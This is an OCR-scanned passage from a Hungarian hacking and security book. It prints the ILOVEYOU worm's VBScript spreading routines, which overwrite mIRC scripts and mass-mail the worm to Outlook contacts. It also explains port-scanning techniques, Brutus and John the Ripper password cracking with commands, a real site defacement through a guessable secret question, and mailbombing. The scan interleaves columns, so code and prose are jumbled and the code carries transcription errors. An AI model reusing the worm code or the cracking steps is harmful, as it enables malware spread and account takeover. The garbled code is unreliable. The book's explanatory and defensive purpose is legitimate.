"&dirsystem&\LOVE_LETTER_FOR_YOU.HTM" fileexist = msg
script.ini.WriteLine "n3=}" end function
script.ini.close
function folderexist(folderspec)
eq=folderspec
On Error Resume Next
end if
dim msg
end if
if ( f s o . GetFolderExist(folderspec)) then
next
msg = 0
end sub
else
msg = l
Az InfectFiles -nak két feladata van,
end if
1. Megkeres minden, megadott kiterjesztésű (.js, .wsh, .css stb.) fájlt, és a saját fileexist = msg
magáról készített másolattal írja felül ezeket. end funrtion
2. Ha talál egy mIRC-et (Chat Scriptet), akkor felülírja a script.ini-t. Ez a script, sub spreadtoemail( )
ha lefut, ugyancsak a vírust terjeszti úgy, hogy egy LOVE_LETTER_FOR_ On Error Resume Next
YOU.HTM nevű fájlt küld a csatorna minden felhasználójának. dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
setregedit=CreateObject("Wscript.Sheir) Set out=Nothing
set out=WScript. CreateObject("Outlook.Application ") Set mapi=Nothing
set mapi=out. GetNameSpace("MAPI") end sub
for ctrlists=1 ro mapi.AddressLists.Count
set a=mapi.AddressLisets(ctrlists) A SpreadToEmail( ) függvény megnyitja a programot, amelyben a Windows
x=l minden mailcímet tárol, tehát a címjegyzéket (WAB.EXE), hogy azután a cím-
regv=regedit.RegRead(''HKEY_CURRENT_USER\Software\Microsoft\ jegyzékben talált minden címre elküldje a vírus másolatát.
WAB"&a) Ez a program tulajdonképpeni terjedési módja: lefut, és elküldi magát min-
if(regv="") then den címre, amit talál. Csak ezért tudott ennyire gyorsan elterjedni.
regv=l Amint látjuk, az ILOVEYOU, az egyszerűsége ellenére, igazán komplex
end if funkciókkal van felszerelve. A kár, amelyet a felhasználóknál hátrahagyott,
if (int(a.AddressEntries. Count>inr(regv)) then többnyire csekély, csak különböző script-fáljokat írt át. Az internet-, illetve
for ctrentries=l to a.AddressEntries.Count mailszolgáltatók kára viszont - a feldolgozhatatlan mennyiségű e-mail miatt -
malead=a.AddressEntries(x) milliós volt.
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\WAB"&malead) 5.8 Hogyan működnek a vírusvizsgálók?
if(regad="") then
set male=out.Createltem(0) A vírusvizsgáló egy adatbázist használ, amely minden felismerhető vírus ne-
male.Recipients.Add(malead) vét és lenyomatát tartalmazza. A legtöbb vírusvizsgáló frissítésekkel folyamato-
male.Subject = "ILOVEYOU" san bővíti az adatbázisát, ehhez a szoftver gyártói saját víruslaborokat tartanak
male.Body =vbcrlf&"kindly check the attached LOVELETTER comingfrom fenn, úgynevezett nyomozócsapatokat foglalkoztatnak, és látogatják az idevágó
me." newsgroupokat, hogy folyamatosan tudjanak reagálni az új fenyegetésekre.
male.Attachments.Add(dirsystem& "\LOVE-LETTER-FOR-YOU. TXT.
vbs")
male.Send 5.8.1 Szkennermodul
regedit.RegWrite
"HKEY_CURRENT_USER \Software \Microsoft\WAB"&malead, 1, A szkennermodul a vírusok felkutatásáért felelős a merevlemezen. A szkenner
"REG_DWORD" ellenőrzi egy fájl vagy egy program kódját. Ha a szkenner megváltoztatott kó-
endif dot vagy valamilyen egyéb eltérést észlel, akkor ezt összehasonlítja az adatbázis
x=x+l lenyomataival, hogy megállapítsa a víruskódokkal való egyezést. Az eljárás neve
next Pattern Matching. A szkennermodul a vírusok sztringjeit és viselkedési módját
regedit.RegWrite is felismeri, és ezzel potenciálisan olyan vírusokat is leleplezhet, amelyek még
"HKEY_CURRENT_USER\Software\Microsoft\WAB"&:a,a. nincsenek benne az adatbázisban. Az ilyen szkennelésnél a hibaszázalék maga-
AddressEntries. Count sabb, mint a normál víruskeresésnél.
endif
next
 5.8.2 Víruspajzs
A víruspajzs egy memóriarezidens, a háttérben működő szkenmodul. Úgy
van beállítva, hogy valós időben, folyamatosan kövesse a felhasználók minden
fájlelérését. Ha egy fájlt elindítanak, kijelölnek, átnevezik vagy letöltik a hálóról,
a víruspajzs azonnal megvizsgálja, és ha szükséges, jelentést tesz. A hátránya,
hogy a vírusprogramtól függő mértékben visszafogja a rendszerteljesítményt.

5.8.3 „Fertőtlenítő"
Ha a szkenner vírust talál, ez a modul lép akcióba. Ennek a modulnak, a fer-
tőzéstől függően, különböző opciói vannak a vírus eltávolítására. Vagy megtisz-
títja a fájlt a vírustól, vagy elkülöníti, azaz áthelyezi egy „karanténkönyvtárba",
vagy törli a fájlt, ha nincs rá lehetősége, hogy valamiképpen megtisztítsa.

5.8.4 A vírusvédő program kiválasztásának

a szempontjai
Hogy mennyit akarunk vagy kell ráfordítanunk egy-egy virusvizsgálóra, az
attól függ, hogy milyen nagy a fertőzés kockázata, és mennyibe kerülne az ada-
tok újbóli előállítása.
A következő szempontokra kell ügyelni:
• A kínált programfrissítési gyakoriság (legjobb hetente egyszer)
• Az ügyféltámogatás minősége
• Szkennelési sebesség
• Szkennelési minőség
• Lehetséges-e a szkennelés a háttérben, vagy a szkennelés leállítja a rendszert?
• Felismeri-e a program a vírusokat már letöltés közben?
• Meg tudja-e találni a szoftver tömörített fájlokban is a vírusokat?
• Tudja-e ellenőrizni az e-mailhez csatolt fájlokat (attachments) már az el-
indításuk előtt?
A kezelése kényelmes, vagy feleslegesen bonyolult?
6. fejezet - Tartalom

6.1. A szkenner

6.2. Szkennelesi eljárások

6.2.1 Szkenneles teljes TCP-kapcsolattal
6.2.2 Félig nyitott TCP-szkennelés
6.2.3 TCP-FIN-Scan
6.2.4 Fragmentált szkennelés
6.2.5 UDP-ICMP-Port-Unreachable szkennelés
6.2.6 UDP-Recvfrom-And-Write szkennelés
6.2.7 ICMP-echo-scanning/ping-szkennelés
6.2.8 A nyitott portok csak a kezdetet jelentik
6.2.9 A portszkennelés elleni védelem

6 Szkennelés - A rések keresése
A szkennelés az egyik legfontosabb módszer egy rendszer gyenge pontjainak
a felismerésére. No persze nem a hagyományos értelemben vett szkennelésről
van szó, hiszen e szó jelentés itt az, hogy egy rendszer minél több csatolófelüle-
tét, illetve portját szólítják meg, hogy kitalálják, melyek engedik meg kapcsolat
felépítését.
A portszkennek a támadók legfontosabb eszközei. Minden hacker elvégzi a
portszkennelést a célrendszerén, mielőtt munkához látna. Emellett a port-
szkennelés arra is szolgál, hogy a rendszergazdák ellenőrizzék rendszerük biz-
tonságát. Ezért minden rendszergazdának jól kell ismernie a szkennereket.
A következő magyarázatok feltételezik a közkedvelt protokollok alapismere-
teit, különben nehezen érthetők az összefüggések. Ehhez minden fontos infor-
máció megtalálható a 3. fejezetben.
6.1. A szkenner
A szkenneléshez szükség van egy portszkennerre. A legismertebb szkennerek
közé tartozik a Nessus és az nmap - mindkettő a Linux alatt gyökerezik, de idő-
közben már Windowshoz is kifejlesztették. A szkennerek kérdéseket küldenek
a portoknak, és visszadják a rendszer válaszait. Közben különböző információ-
kat gyűjtenek, többek között arról, hogy milyen szolgáltatások futnak a rend-
szeren, lehetségesek-e anonim loginek, és hogy megkövetelik-e a hitelesítést a
hálózati szolgáltatások.
6.2 Szkennelési eljárások
Egy rendszer szkennelésére különböző lehetőségek kínálkoznak. Hogy ezek
közül melyiket választják, az azoktól a feltételektől függ, amelyek mellett a fel-
adatot meg kell oldani. A rendszer minden jogosultságával rendelkező rend-
szergazda teljes áttekintést szeretne kapni, lehetőleg gyorsan, a hacker pedig
észrevétlen szeretne maradni.
6.2.1 Szkennelés teljes TCP-kapcsolattal
Itt egy olyan szkennelési eljárásról van szó, amelynek a célja TCP alapú szer-
vizeket/szolgáltatásokat találni. Ehhez a következőképpen járnak el: a szkenner,
illetve a kliens megpróbál teljes kapcsolatot felépíteni a host minden portjához.
Ha a szkenner ezeknél a kísérleteknél egy porttól feleletet kap, akkor az elérhe-
tőnek számít. A szkenner egy TCP/IP csomagot küld SYN-flaggel a számító-
gépnek (a flagek [zászlók] speciális ismertetőjelek a csomag TCP-headerében),
a host visszajelzése pedig, ha nem érhető el a port, RST-ACK, ha elérhető, ak-
kor SYN-ACK. Ebben az esetben a szkenner ismét ACK-val válaszol, és a kap-
csolat létrejött.
Ezen a módon persze nagyon sokáig tartana minden kapcsolatot felépíteni
és azután befejezni, és kérdéses lenne, hogy minden portot le lehet-e
szkennelni. Az mindenesetre biztos, hogy minden időkeretet túllépne. Éppen
ezért a szkenner multi-socket eljárást alkalmaz, amelynél egyidejűleg nagyon sok
kérdést tud feltenni.
Ennek az eljárásnak az előnye, hogy nagyon gyorsan vezet eredményre. A
támadóknak azonban nem felel meg, mert nagyon feltűnő, és nagy valószínű-
séggel a támadó IP-címe is beíródna a rendszer logfájljaiba.
6.2.2 Félig nyitott TCP-szkennelés
A félig nyitott szkennelésnél nem állítanak elő teljes kapcsolatot a hosthoz, ha-
nem a SYN-ACK megerősítés után egy elérhető sockettől RST-ACK-val rögtön
megszakítják a kapcsolatot. Ha a szkennelt számítógép biztonsági és felügyeleti
státusza csekély, akkor nem fogják észrevenni ezt a szkennelést. Az előnye vi-
szont, hogy Unix alatt csak az tud végrehajtani ilyen eljárást, akinek root-jogai
vannak. Ez gondoskodik ugyanis arról, hogy a hálózatokban az erre jogosult
rendszeradminisztrátoron kívül senki se tudjon végrehajtani ilyen szkennelést
alacsonyabb jogokkal.
6.2.3 TCP-FIN-Scan
A TCP-FIN szkennelést a Unix alatti TCP-implementációk többségének
egy hibája (bug) teszi lehetővé. A szkennelendő portra egy TCP-csomagot kül-
denek egy FIN-csomaggal. A FIN-csomagokat arra használják, hogy a fennálló
kapcsolatot annak rendje és módja szerint bezárják. A lezárt portok RST-
csomaggal válaszolnak a FIN-csomagra, a nyitottak ezt nem teszik, ezért lehet
a TCP-FIN szkennel könnyen kideríteni a nyitott portokat. A szkennelésnek
ez a módja azok közé a csekély számú eljárások közé tartozik, amelyek nem fel-
tűnőek. Ezek a „letapogatások" azonban csak Unix alatt működnek, a Micro-
soft operációs rendszereknél a TCP-implementációnak nincs ilyen fajta hibája.
6.2.4 Fragmentált szkennelés
A fragmentált szkennelés a TCP-szkennelések egy további módja. Ennél a
TCP-csomagok több kis csomagra fragmentálódnak, illetve darabolódnak.
Ezen a módon lehet meggyőződni arról, hogy nem fogja-e egy tűzfal felfedez-
ni a portszkennelést.
6.2.5 UDP-lCMP-Port-Unreachable szkennelés
Az UDP, más protokollokkal ellentétben, nem igazolja vissza a fogadást. Csak a
lezárt port küld vissza egy üzenetet, hogy a port nem elérhető. Tehát szkenneljük
a portokat, és várunk egy UDP-ICMP-PORT-UNREACH üzenetre. A
szkennelésnek ez a módja nagyon hosszadalmas, és a pontossága nagy mértékben
a szkennelt számítógép kihasználtságától, illetve rendszererőforrásaitól függ.
Ráadásul csak Linux alatt működik, és azok a felhasználók, akik rootként
vannak bejelentkezve, megkapják az ICMP PORT UNREACH üzeneteket.
Ezeket a szkenneléseket csak a rendszergazda tudja elvégezni, hiszen system
admin jogok kellenek hozzá.
6.2.6 UDP-Recvfrom-And-Write szkennelés
Ellentétben a UDP-ICMP-PORT-UNREACH szkenneléssel, amelynél
csak azok a userek kapnak pozitív visszajelzést, akik rootként vannak bejelent-
kezve, a UDP-Recvfrom-And-Write szkennelés egy normál módon bejelentke-
zett felhasználónak is lehetővé teszi, hogy „érdekes" jelzéseket kapjon.
A háttérben ismét egy bug áll: ha megpróbálunk egy portra írni, amelyik a
UDP-ICMP-PORT-UNREACH szkennelésre ICMP-PORT-UNREACH vá-
laszt adott (amiről normál felhasználóként nem értesülünk), akkor többnyire ezt
az üzenetet kapjuk: Error 13 - Try Again, a normál Error 111 - Connection refused
üzenet helyett. Ennél az eljárásnál tehát minden portot kétszer szkennelnek, egy-
szer, hogy a számítógép kiadjon egy választ, amit sajnos, nem látunk, és másod-
szor, hogy mégis kapjunk informatív visszajelzést - 13-as hibánál a port le van zár-
va. Természetesen ez az eljárás is nagyon időigényes, és gyakran megbízhatatlan.
6.2.7 ICMP-echo-scanning/ping-szkennelés
A szkennelésnek ez a módja csak azt állapítja meg, hogy melyik hostok elér-
hetők. Ez azt jelenti, hogy egy ICMP echo scanning/ping szkennelést hajtanak
végre, hogy találjanak egy hostot, mielőtt még egy megtalált rendszeren el le-
hetne indítani a tulajdonképpeni portszkennelést. Ehhez egy ICMP-ECHO-
csomagot vagy egyszerűen egy pinget küldenek kölönböző IP-címekre. Ha a
számok valamelyike mögött van egy rendszer, az ICMP-ECHO-REPLY cso-
maggal válaszol. Megvan tehát a cél, amelyen a támadó a legkülönbözőbb
szkennelésekkel réseket kereshet.
6.2.8 A nyitott portok csak a kezdetet jelentik
Ha találtatott egy rendszer nyitott portokkal, akkor egy portlista segítségé-
vel lehet áttekintést kapni arról, hogy milyen szervizek (FTP, Telnet, HTTP,
HTTPS, stb.) futnak a rendszeren.
A támadók most hozzákezdenének információkat gyűjteni a célrendszerről.
Ez az operációs rendszernél kezdődik, amely a számítógépen fut. Aszerint,
hogy milyen portok nyitottak és milyen operációs rendszer van telepítve, a tá-
madó utánanéz a megfelelő kihasználási lehetőségeknek.
 6.2.9 A portszkennelés elleni védelem

A szkennelés többnyire az első lépés, amelyet a betörők végrehajtanak, hogy

megtalálják és analizálják a célrendszerüket. Ezen keresztül számos fontos in-
formációt begyűjthetnek, amelyek nélkül a betörés lehetetlen volna. Ezért fon-
tos védekezni a portszkennelés ellen, illetve naplóztatni a szkenneléseket, hogy
azonosítani lehessen a lehetséges támadót, mielőtt még hozzákezdene a tulaj-
donképpeni támadáshoz.
Természetesen nagyon nehéz valakit visszatartani attól, hogy egy rendszert
szkenneljen. A legjobb védelem, ha a szkennelés nem talál nyitott portokat. Tehát
minden szolgáltatást, ameddig lehetséges, inaktívan kellene tartani, hogy ne kí-
náljunk támadási felületet. Ez azonban többnyire nehezen kivitelezhető, már
akkor is, ha valaki például egy FTP-szervert működtet a rendszerén, vagy egy
csatlakoztatott hálózat miatt biztosítania kell a 139. port elérhetőségét (lásd. a
Windows-megosztásokat a Windows-rendszerek gyenge pontjairól szóló feje-
zetben). Itt a tűzfalak segítenek, mint amilyen a Norton Internet Security, vagy
portscan detektorok, mint például a BlackICE.
Naplóz a Norton Internet
Security

A tűzfalaknak olyan protokoll-funkcióik vannak, amelyek feljegyzik a

portszkenneket. A tűzfalakat arra is be lehet állítani, hogy figyelmeztető üzene-
tet küldjenek, amint TCP-kapcsolatok érkeznek be, és megpróbálkoznak egy
portra kapcsolódni.
7. fejezet - Tartalom

7.1 Hackelt security-site - jelszófeltöréssel ez is lehetséges

7.2 Mire kell ügyelni a felhasználói oldalról?

7.3 A jelszófeltörők
7.3.1 Ismert felhasználói nevek jetszavainak a kitalálása
7.3.2 Beállítások áttekintése
7.4 Jelszavak megfejtése a John the Ripperrel
7.4.1 Single Mode
7.4.2 A szólista módszer
7.4.3 Incremental mód
7.4.4 External mód
7.4.5 A John legfontosabb parancsai
7.4.6 A jelszófájl
7 Jelszófeltörés
Ez a fejezet a jelszavak biztonságosságát tárgyalja. A hackereknek változatla-
nul az okos jelszavas védelem jelenti az egyik legnagyobb akadályt, mivel az
interneten és a helyi számítógépeken is gyakran védik jelszavakkal a fájlokat a
jogosulatlan hozzáférések ellen..
A jelszavak kiderítésére, illetve feltörésére különböző lehetőségek vannak.
Az egyik legfontosabb a Social Engineering, amellyel a fontos adatok jelszó-tu-
lajdonosoktól való megszerzését jelölik. A kreativitás, amivel ilyenkor eljárnak,
hihetetlen. Tehát ne hagyjuk, hogy ismeretlenek olyan információkat csaljanak
ki tőlünk, amelyeket senkinek sem adnánk meg önként. Ez történhet mondjuk
egy telefonhívással, amelyben a főnökünk keresztnevét kérdezik - kulcsszó: e-
mail-cím.
A klasszikus jelszótörő egy olyan program, amely egy lista segítségével min-
den lehetséges variációt megjátszik. Hogy hogyan is működnek ezek a progra-
mok, az a fejezet 7.3 pontjából derül ki. Természetesen a jelszófeltörők elleni
legjobb védelem, a „biztos jelszó" sem fog kimaradni.
A jelszófeltörésről oldalakat lehetne írni. A legfontosabb azonban az, hogy
egy jelszó ne legyen túl egyszerű. Ezért itt csak a valóban fontos információkat
szeretnénk bemutatni, és a jelszóválasztás biztonságát a középpontba állítani.
7.1 Hackelt security-site -
jelszófeltöréssel ez is lehetséges
Egy ismert példa a th-security „átváltozása" (deface) volt. Itt a következő tör-
tént.
Az áldozat, amelyet egy m \ r3nda nevű hacker kinézett magának, a www.th-
security.de volt, egy ismert biztonsági és trójai információs oldal, amelyen
semmiféle scripthibát vagy szerverhibát nem lehetett találni. Tehát a
hackernek más eszközökhöz kellett folyamodnia. Kutatás közben megállapítot-
ta, hogy a webmesternek két GMX-fiókja van: tobias.haennle@gmx.de és
pegasuss.flieger@dmx.de (a címeket az adatvédelem miatt megváltoztattuk).
Az első címet kontaktcímként adta meg a weboldalon, a második a Denic-nél
(www.denic.de) és a Puretec (www.puretec.de) szolgáltatónál szerepelt kontakt-
címként.
A támadó először megnézte a GMX-titkos kérdést, és látta, hogy a kérdés
mindkét postafióknál így hangzott: Mi a keresztnevem? Az oldalon megadott
kontaktcímből, tehát tobias.haennle@gmx.de, hamar rájött, hogy milyen
névről van szó. Tehát fogta Tobias-t, megváltoztatta a jelszót, és máris büszke
tulajdonosa lett egy GMX-accountnak. Most egy kicsit körülnézett a GMX fel-
használói menüben, ahol a valódi tulajdonos a nevétől kezdve a telefonszámáig
tulajdonképpen minden adatot hátrahagyott, amelyekre a Social Enineering-
hez szükség van.
A hacker most a webtárhely szolgáltatójától kapott mail-eket kereste, mert
ezekben szerepelt az ügyfélszám, amire szüksége volt ahhoz, hogy a Puretec-
kel „elfelejtett" jelszavakat lehessen a kontaktcímre küldetni. De nem voltak
mail-ek a szolgáltatótól, így két lehetőség adódott - az első: várni pár napot egy
mail-re a szolgáltatótól, mert a Puretec általában havonta egyszer mail-ben el-
küldi a számlainformációkat. De ez biztosan feltűnne a felhasználónak, és meg-
változtatná a kontaktcímét. A másik lehetőség: a jó szerencsében bízva egysze-
rűen megpróbálkozni néhány jelszóval. A hacker a felhasználó születési dátu-
mával kezdett, amelyet a GMX-adatokból megtudott.
És nézzenek oda: ez megint telitalálatnak bizonyult, mert a legtöbb felhasz-
náló nagyon lazán veszi a jelszó kiválasztását. Hogy ezek után mit csinált az ol-
dalból? íme az eredmény:
Itt egy honlap volt
 Ez bizony egy nagyon jó példa arra, hogy hogyan válik lehetségessé egy
„deface" a rosszul megválasztott titkos kérdés, az alkalmatlan jelszó révén.
7.2 Mire kell ügyelni a felhasználói oldalról?
A legtöbb felhasználó nem túl ötletes egy értelmes jelszó kitalálásánál. Ezért
a rosszul választott jelszavak kihasználása a hackerek egyik legjobban elterjedt
támadófegyvere.
A jelszavak megadásánál a következő alapszabályokat kellene betartani:
• ne legyen öt karakternél rövidebb,
• semmi duplázás, tehát ne legyen „hhaalloo",
• ne legyen szabványos,
• semmi születési dátum és hasonlók,
• ne legyenek olyan szavak, amelyek benne lehetnek a jelszólistákban vagy a
szótárakban.
A jó jelszavak
• több mint tíz karakterből,
• alfanumerikus karaktersorból, pl. kml34Hs9,
A titkos kérdések legyenek titkosak
Az interneten a különböző oldalak biztonságra ügyelő szolgáltatói jelszókérdé-
sek vagy titkos kérdések megadását kínálják, hogy a felhasználónak lehetővé tegyék,
megváltoztatni a jelszavát, ha elfelejtette. Gyakran lehet ilyen kérdésekkel talál-
kozni: „Mi a hideg ellentéte?" Ez természetesen rossz választás, mert így minden
támadónak lehetővé tesszük a jelszavunk tetszés szerinti megváltozatását.
7.3 A jelszófeltörők
A jelszófeltörők olyan programok, amelyek jelszavakat fednek fel, hogy ki
kerüljék az alkalmazott biztonsági intézkedéseket. A jelszót a legritkább eset-
ben fejtik vissza, ehelyett egy névről nagyon jól ismert eljárást, a Brute Force-ot
használják. A Brute Force annyit jelent: nyers erőszak. E programok nem tesz-
nek mást, mint nagyon nagy sebességgel próbálják ki az egyik lehetséges jelszót
a másik után, amíg megtalálják az igazit.
Egy példa az ilyesfajta programra a Brutus. A Brutus jelszófeltörő internet-
accountok valamennyi variánsához (FTP, HTTP, POP3, Telnet, NetBios
stb.). Az internetjelszavak minden fajtájához szívesen használják.
A Target mezőbe be kell írni a kikémlelendő fél URL-jét vagy IP-címét. Ez-
után ki lehet választani a támadás fajtáját, és szükség szerint szólistákat is be le-
A Brutus program:
minden beállítás egy
lapon

• vegyesen kis- és nagybetűkből állnak.

Teljesen értelmetlen a jelszóhasználat, ha

• mindenütt ugyanazt a jelszót használjuk,
• egy cetlit teszünk a billentyűzet alá vagy a monitorra, és ráírjuk a jelszót,

• a jelszó egy fájlban van mentve a gépen.

A jelszót kettő-négy hetente cserélni kell. Ezzel a fogással meghiúsíthatjuk a ko-

rábban kikémlelt jelszó felhasználását.
het tölteni, amelyek, ha a jelszó a listán van, igencsak megrövidítik a feltörést. 7.4 Jelszavak megfejtése a John the Ripperrel
Egy további, a támadásokhoz hasznos tulajdonság egy beépített proxy, amely
megakadályozza, hogy vissza lehessen követni a támadót. A John the Ripper egy jelszófeltörő, amely DES-sel (Data Encryption Stan-
dard) kódolt jelszavakat tud dekódolni. A DES-kódolások felhasználásának
egyik területét a Unix-jelszavak jelentik.
7.3.1 Ismert felhasználói nevek jelszavainak Az idő, amelyre John the Rippernek szüksége van a jelszavak visszafejtésé-
a kitalálása hez, a rendelkezésre álló processzor sebességétől függ, ezért a program egyes
verziói különböző processzorokra optimalizáltak. A John működése azon ala-
Mint már a neve is mutatja, a program ennél az eljárásnál csak egy user névvel pul, hogy a megadott jelszólehetőségeket például DES-sel kódolja, aszerint,
próbálkozik, amelyet előre meg lehet adni, mert az már ismert, de nincs meg a hoz- hogy milyen módban indult el (single, szólista, incremental, external), és az
zá tartozó jelszó. Így lenne ez például akkor is, ha elfelejtettük a fiók-jelszavunkat. eredményt összehasonlítja a megfejtendő jelszóval. Ha a jelszavak kódolt álla-
potban egyeznek, akkor visszafejtve is egyezniük kell, mert mindkettőnél
ugyanazt a kódolási eljárást (DES) alkalmazták.
7.3.2 Beállítások áttekintésére
Target: a host URL-je vagy IP-je, amelyen pl. a POP3 vagy FTP-account van.
Type: itt lehet kiválasztani a cél típusát, HTTP, FTP, POP3, Telnet, SMB
(NetBOIS) stb.
Port: a port megadása, HTTP esetén a 80-as port, FTP-nél a 21-es.
Connection: meg lehet adni, hogy milyen gyakran létesítsen kapcsolatot a
program.
Timeout: megadható, hogy mennyi idő múlva szakítsa meg a program a kap-
csolatot.
Use Proxy: nincs kiválasztva; a Brutus itt lehetővé teszi egy proxy bejegyzését.
Method: HEAD
A John the Ripper szerény felhasználói felülete
KeepAlive: megjelölve.
Use Username: kiválasztva. Itt lehet egy névlistát választani különböző user 7.4.1 Single Mode
nevekből, amelyeket a Brutus mellékel.
Single User: kiválasztva Ebben a módban a John megpróbálja a jelszófájlban tárolt GECOS-
információkat (General Electric Comprehensive Operating System), azaz a userek
User ID: usernév (pl. Jóska, Fercsi stb.), pl: lol@gmx.net.
személyes adatait, például név, telefonszám stb., jelszóként felhasználni. Még
Pass Mode: szólista; itt lehet kiválasztani, hogyan történjen a feltörés. Lehet ha a passwd fájlban az adatok „árnyékolva" is vannak (ez a bizonyos shadowing az
szólistával, combo-listával vagy Brute Force-szal. újabb Linux/Unix verziók biztonsági intézkedése, amely úgy működik, hogy a
Pass Fik: words.txt. Itt lehet egy szólistát betölteni, amelyet a Brutus mellé adnak. jelszavakat eltávolítja a passwd fájlból, és helyette a shadow-fájlban tárolja), a
GECOS-információk azonban még mindig a passwd fájlban vannak. Ebben az
esetben az Unshadow program segít, mégpedig úgy, hogy összevezeti a passwd
fájlt és a shadow fájlt, ezért a jelszavakat és a GECOS-információkat megint
csak egyetlen fájl tartalmazza. Ez a mód természetesen csak akkor hatékony, ha
a felhasználók személyes információikat használják jelszóként. Ez a módszer
egyben nagyon gyors is, ezért nem szabad alábecsülni. Ennek a módnak a haté-
konysága a jelszófájl tartalmazta felhasználók számával növekszik, mert minden
felhasználó GECOS-információját az összes többinél is kipróbálja jelszóként.
7.4.2 A szólista módszer
Ennek a módszernek a hatékonysága teljes mértékben a felhasznált szólista
méretétől és főleg a minőségétől függ. így lehet szerver- ill. adminspecifikus
szólistákat előállítani, és ezzel a siker valószínűségét növelni, mert minden
rendkelkezésre álló információt fel lehet használni. És éppen ez adja ennek az
eljárásnak a erősségét: mivel valószínűtlen, hogy egy ausztráliai szerver passwd
fájlja német jelszavakat tartalmaz, a szólista német részét ebben az esetben el
lehet hagyni.
A szólistát úgy kell felépíteni, hogy minden sorban csak egyetlen karakterfü-
zér legyen. Arra is ügyelni kell, hogy a szólista ábécé-sorrendben legyen, mert
a John egy kicsikét gyorsabban dolgozik, ha az egymás után következő szavak
vagy karaktersorozatok nem különböznek túlzottan egymástól (vannak progra-
mok, amelyek a szólisták kezelésében segítenek, például több listát összefűz-
nek, ábécé-sorrendbe rendezik, vagy eltávolítják a dupla bejegyzéseket).
7.4.3 Incremental mód
Ez a John leghatalmasabb üzemmódja. Minden létező jelszót, függetlenül
attól, hogy betűkből, különleges karakterekből, számokból vagy kombinációk-
ból áll, vissza tud fejteni úgy, hogy minden lehetséges kombinációt ellenőriz.
Ezt az eljárást Brute Force-nak is nevezik. Azt mindenesetre figyelembe kell
venni, hogy a szükséges idő (a processzor teljesítményétől, a jelszó hosszától és
a jelszóban használt karakterektől függően) nagyon hosszú is lehet.
7.4.4 External mód
Ez a mód inkább tapasztalt felhasználóknak való, mert teljes mértékben
konfigurálni kell.
7.4.5 A John legfontosabb parancsai
Parancs Leírás
John -single Ez a parancs single módban indítja a Johnt.
John -i Ez a parancs incremental módban indítja a Johnt.
John -w:aszólistaneve Ez a parancs szólista módban indítja a Johnt.
John -e:MODE Ez a parancs external módban indítja a Johnt, a LIST. EXTERNAL:
előtt definiált MODE tulajdonságokkal.
John fájlnév Ez a parancs először single, majd szólista, végül incremental
módban futtatja le a Johnt.
John -show Erre a parancsra mutatja meg a program a megfejtett
jelszavakat.
A John the Ripper legfontosabb parancsainak az áttekintése
Minden parancs után meg kell még adni a jelszófájlt is.
A john parancs kilistáz minden lehetséges paramétert.
7.4.6 A jelszófájl
Ennek a fájlnak tartalmaznia kell a megfejtendő jelszavakat a hozzájuk tarto-
zó felhasználó-nevekkel. Ezeket kettősponttal elválasztva, a USERNAME:
PASSWORD séma szerint kell tárolni. Hogy hány ilyen pár van a fájlban tá-
rolva, az nem túl lényeges, csak arra kell figyelni, hogy egy sorban mindig csak
egy USERNAME:PASSWORD pár legyen. A jelszavak „árnyékolva" sem le-
hetnek, hanem normál kódolt állapotban kell lenniük (pl: árnyékolva= john:x
vagy john:* ; kódolva=john:GjstuOeYjOEhc). Ha a single módot kell használni,
akkor a GECOS-információknak és a user-könyvtár elérési útvonalának is mö-
götte kell állnia ( p l : john:OozDCtCCAa/lM:11202:0:99999:7:0:).
8. fejezet - Tartalom

8.1 E-mail-támadások
8.1.1 Mailbombák - túlcsordul a postafiók
8.1.2 A fájlmelléklet kitömése
8.1.3 AConConbug
8.2 ICQ - praktikus és veszélyes
8.2.1 Az ICQ - biztonsági kockázat?
8.2.2 Milyen biztonsági rések vannak?
8 Támadások
az internet-felhasználók ellen
Az internetet használók száma folyamatosan növekszik, egyre újabb és újabb
szolgáltatásokat kínálnak a számukra, és a tartalmak is mind vonzóbbakká vál-
nak. A legtöbbek életéből már nem maradhat ki ez a médium. Az internet-
eléréssel azonban növekednek azok a veszélyek, amelyeknek a saját PC-nk vagy
akár a hálózat is ki van téve. Ez a fejezet az internet-használat veszélyeinek és
kockázatainak reálisabb felbecsülésében próbál segíteni. Kiderül, hogyan és
milyen változatokban hajtanak végre támadásokat felhasználók ellen. A külön-
böző trójai- és víruslehetőségekről itt már nem beszélünk, ezeket az adott té-
mának szentelt fejezetek tárgyalják. Itt elsősorban az e-mailek és az ICQ biz-
tonsági kockázatairól lesz szó.
8.1 E-mail-támadások
Az e-mailek a legfontosabb kommunikációs bázist jelentik az interneten.
Ebben a tényben azonban veszélyek is rejlenek, amelyek sok felhasználóban
nem is tudatosulnak, ezt pedig a hackerek kihasználják a rendszerek megtáma-
dásához.
8.1.1 Mailbombák - túlcsordul a postafiók
A mailbombák nem jelentenek közveden veszélyt az internet-használók
adataira vagy saját számítógéprendszereikre, inkább csak idegölők és zavarók.
Ugyanis elég időigényes - és drága - lehet, ha az embernek hirtelen 5000 nem
kívánt mail-t kell törölni a postafiókjából.
A mailbombázáshoz a támadók számos programból választhatnak. Nehéz
felmérni, hogy a mailbomba-támadások mögött mennyire van stratégia. Egy
egyedi felhasználónak főleg az idejét rabolhatják a bombázással, akkor bosz-
E-mail-bombázó Arzytól
szánthatják, ha tudják, hogy egy fontos mail-re vár. Ezt ugyanis, mivel a
mailbox a támadás miatt túltelítődik, a szerver vissza fogja utasítani. Egy ilyen
támadás azonban akár pénzügyileg is érinthet kisebb cégeket, amelyeknek fon-
tos kommunikációs eszközt jelent az internet. Képzeljük csak el egy online bolt
üzemeltetőjének a helyzetét, aki nem kapja meg a megrendelés-maileket, mert
mailbomba-támadás áldozata lett.
A támadó anonim marad
Hogy a mailbomba-támadások áldozatai nem tudnak közvetlenül a tettesek-
re támadni, az a mailbombázók által gyakran használt SMTP és Telnet
internetprotokollok (lásd az Alapok fejezetet) felépítésén múlik. Ezek az adatát-
viteli protokollok az ASCII karakterkészletre korlátozzák a tartalmukat, tehát
csak egyszerű szöveget szállítanak. Ennek alapján nem nyújtanak lehetőséget
arra, hogy a feladó adatait ellenőrizni lehessen, sőt még arra is van mód, hogy
valaki hamis feladócímet adjon meg!
A mailbombázók sajátos képességei tehát nemcsak abban nyilvánulnak meg,
hogy szinte egyidejűleg hallatlanul nagy számú mail-t tudnak küldeni a kívánt
címre, hanem abban is, hogy anonimek maradnak, vagy - választás szerint -
hamis feladócímet is meg tudnak adni.
Ennek természetesen az a következménye, hogy a címzett postafiókja hamar
